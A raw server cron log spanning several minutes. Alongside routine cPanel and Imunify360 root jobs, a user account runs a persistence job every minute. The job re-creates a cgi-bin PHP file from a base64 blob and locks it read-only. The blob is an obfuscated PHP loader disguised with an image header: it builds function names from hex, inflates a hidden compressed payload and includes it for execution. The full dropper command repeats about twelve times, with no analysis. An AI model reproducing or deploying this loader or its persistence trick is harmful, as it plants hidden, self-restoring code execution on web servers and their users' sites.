Sep  1 07:48:01 server CROND[9546]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:49:01 server CROND[10006]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:49:01 server CROND[10007]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:49:01 server CROND[10008]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:50:01 server CROND[10444]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 07:50:01 server CROND[10447]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 07:50:01 server CROND[10446]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 07:50:01 server CROND[10456]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:50:01 server CROND[10460]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:50:01 server CROND[10452]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 07:50:01 server CROND[10457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:50:01 server CROND[10454]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 07:50:01 server CROND[10453]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 07:51:01 server CROND[11311]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:51:01 server CROND[11313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:51:01 server CROND[11312]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:52:01 server CROND[11756]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:52:01 server CROND[11757]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:52:01 server CROND[11758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:53:01 server CROND[12142]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:53:01 server CROND[12143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:53:01 server CROND[12144]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:54:01 server CROND[12537]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:54:01 server CROND[12538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:54:01 server CROND[12539]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:55:01 server CROND[13042]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 07:55:01 server CROND[13043]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 07:55:01 server CROND[13045]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:55:01 server CROND[13049]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 07:55:01 server CROND[13048]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 07:55:01 server CROND[13050]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:55:01 server CROND[13047]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:56:01 server CROND[13885]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:56:01 server CROND[13887]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:56:01 server CROND[13886]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:57:01 server CROND[14534]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:57:01 server CROND[14536]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 07:57:01 server CROND[14537]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:57:01 server CROND[14535]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:58:01 server CROND[15255]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:58:01 server CROND[15257]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:58:01 server CROND[15256]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:59:01 server CROND[15643]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:59:01 server CROND[15644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:59:01 server CROND[15646]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:00:01 server CROND[16137]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 08:00:01 server CROND[16142]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 08:00:01 server CROND[16147]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:00:01 server CROND[16149]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  1 08:00:01 server CROND[16148]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 08:00:01 server CROND[16146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
